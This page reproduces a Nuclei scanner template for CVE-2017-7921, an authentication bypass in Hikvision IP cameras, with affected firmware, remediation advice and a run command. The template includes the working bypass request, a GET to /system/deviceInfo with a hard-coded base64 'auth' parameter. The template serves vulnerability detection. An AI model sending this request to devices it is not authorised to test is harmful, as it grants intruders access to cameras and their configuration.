Skip to content

Hikvision - Authentication Bypass

ID: CVE-2017-7921

Severity: critical

Author: princechaddha

Tags: cve,cve2017,auth-bypass,hikvision

Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.

id: CVE-2017-7921
info:
name: Hikvision - Authentication Bypass
author: princechaddha
severity: critical
description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential device takeover.
remediation: |
Apply the latest firmware update provided by Hikvision to fix the authentication bypass vulnerability.
reference:
- http://www.hikvision.com/us/about_10805.html
- https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
- https://nvd.nist.gov/vuln/detail/CVE-2017-7921
- https://ghostbin.com/paste/q2vq2
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2017-7921
cwe-id: CWE-287
epss-score: 0.01361
epss-percentile: 0.86195
cpe: cpe:2.3:o:hikvision:ds-2cd2032-i_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: hikvision
product: ds-2cd2032-i_firmware
tags: cve,cve2017,auth-bypass,hikvision
http:
- method: GET
path:
- "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<firmwareVersion>"
- type: word
part: header
words:
- "application/xml"
# digest: 4b0a00483046022100e0569805bb4f5d91e4fde02c6e292ecafe08db62dfc11baa18ef5bb5080b6a10022100bf34bc9ad3811e6cf2de0154302b35822c7c6211f1441b5082402707e8335b69:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-7921.yaml"

View on Github